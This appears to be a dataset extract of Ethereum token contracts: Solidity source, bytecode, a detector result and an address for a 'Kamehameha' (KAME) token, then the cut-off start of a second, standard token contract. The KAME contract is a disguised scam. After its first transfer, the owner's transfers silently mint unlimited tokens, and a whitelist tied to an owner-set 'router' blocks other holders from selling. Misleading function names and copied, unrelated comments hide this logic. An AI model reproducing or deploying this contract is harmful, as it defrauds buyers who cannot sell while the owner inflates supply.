https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function setfee (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function burnpercent(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Kameehaame is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 1000000000000 * 10 ** 18; constructor () ERC20('Kamehameha','KAME') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063b94cc8ef146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806310b3ea1614610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b610162600480360381019061015d9190611704565b6103d2565b005b61016c6104ad565b604051610179919061175c565b60405180910390f35b61019c60048036038101906101979190611777565b6104b7565b6040516101a991906115a1565b60405180910390f35b6101ba6105b8565b6040516101c791906117e6565b60405180910390f35b6101ea60048036038101906101e59190611546565b6105e0565b6040516101f791906115a1565b60405180910390f35b61021a60048036038101906102159190611801565b61068c565b604051610227919061175c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f919061183d565b60405180910390f35b610260610851565b60405161026d919061147c565b60405180910390f35b610290600480360381019061028b9190611546565b6108e3565b60405161029d91906115a1565b60405180910390f35b6102c060048036038101906102bb9190611546565b6109d7565b6040516102cd91906115a1565b60405180910390f35b6102f060048036038101906102eb9190611801565b610c3e565b005b61030c60048036038101906103079190611858565b610d17565b604051610319919061175c565b60405180910390f35b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6103da610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045e90611945565b60405180910390fd5b60005b81518110156104a95761049682828151811061048957610488611965565b5b6020026020010151610f71565b80806104a1906119c3565b91505061046a565b5050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611a7e565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a9e565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d9190611ad2565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076190611945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610860906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461088c906118c7565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690611b9a565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a9e565b610da6565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061175c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b610c46610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611945565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f64919061175c565b60405180910390a3505050565b610f79610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90611945565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611e74565b60405180910390fd5b81816112819190611a9e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113139190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061175c565b60405180910390a350505050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6115f982611432565b810181811067ffffffffffffffff82111715611618576116176115c1565b5b80604052505050565b600061162b61149e565b905061163782826115f0565b919050565b600067ffffffffffffffff821115611657576116566115c1565b5b602082029050602081019050919050565b600080fd5b600061168061167b8461163c565b611621565b905080838252602082019050602084028301858111156116a3576116a2611668565b5b835b818110156116cc57806116b888826114fb565b8452602084019350506020810190506116a5565b5050509392505050565b600082601f8301126116eb576116ea6115bc565b5b81356116fb84826020860161166d565b91505092915050565b60006020828403121561171a576117196114a8565b5b600082013567ffffffffffffffff811115611738576117376114ad565b5b611744848285016116d6565b91505092915050565b61175681611510565b82525050565b6000602082019050611771600083018461174d565b92915050565b6000806000606084860312156117905761178f6114a8565b5b600061179e868287016114fb565b93505060206117af868287016114fb565b92505060406117c086828701611531565b9150509250925092565b600060ff82169050919050565b6117e0816117ca565b82525050565b60006020820190506117fb60008301846117d7565b92915050565b600060208284031215611817576118166114a8565b5b6000611825848285016114fb565b91505092915050565b611837816114d2565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061192f6020836113ee565b915061193a826118f9565b602082019050919050565b6000602082019050818103600083015261195e81611922565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119ce82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a0157611a00611994565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a686028836113ee565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa982611510565b9150611ab483611510565b925082821015611ac757611ac6611994565b5b828203905092915050565b6000611add82611510565b9150611ae883611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c611994565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b846025836113ee565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea26469706673582212207f5716dd3c1e3629b7da329843048b5d900d68c354da92e8ffa402b582392b3c64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
5,690
0xb0dfb2df1b29b304c59e92e8f8bff329b9d20f62
pragma solidity ^0.4.19; contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// interface ERC165ReceiverInterface { function tokensReceived(address _from, address _to, uint _amount) external returns (bool); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract ERC165Query { bytes4 constant InvalidID = 0xffffffff; bytes4 constant ERC165ID = 0x01ffc9a7; function doesContractImplementInterface(address _contract, bytes4 _interfaceId) internal view returns (bool) { uint256 success; uint256 result; (success, result) = noThrowCall(_contract, ERC165ID); if ((success==0)||(result==0)) { return false; } (success, result) = noThrowCall(_contract, InvalidID); if ((success==0)||(result!=0)) { return false; } (success, result) = noThrowCall(_contract, _interfaceId); if ((success==1)&&(result==1)) { return true; } return false; } function noThrowCall(address _contract, bytes4 _interfaceId) constant internal returns (uint256 success, uint256 result) { bytes4 erc165ID = ERC165ID; assembly { let x := mload(0x40) // Find empty storage location using "free memory pointer" mstore(x, erc165ID) // Place signature at begining of empty storage mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature success := staticcall( 30000, // 30k gas _contract, // To addr x, // Inputs are stored at location x 0x20, // Inputs are 32 bytes long x, // Store output over input (saves space) 0x20) // Outputs are 32 bytes long result := mload(x) // Load the result } } } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, ERC165Query { using SafeMath for uint256; using AddressUtils for address; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); /** Support ERC165 */ if (_to.isContract()) { ERC165ReceiverInterface i; if(doesContractImplementInterface(_to, i.tokensReceived.selector)) { ERC165ReceiverInterface app= ERC165ReceiverInterface(_to); app.tokensReceived(msg.sender, _to, _value); } } return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; //dtco : time lock with specific address mapping(address => uint) public lock_addresses; event AddLockAddress(address addr, uint lock_time); /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { revert(); } } else { //check time lock with team if(now < lock_addresses[_sender]) { revert(); } } _; } function ReleasableToken() public { releaseAgent = msg.sender; } //lock new team release time function addLockAddressInternal(address addr, uint lock_time) inReleaseState(false) internal { if(addr == 0x0) revert(); lock_addresses[addr]= lock_time; AddLockAddress(addr, lock_time); } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function 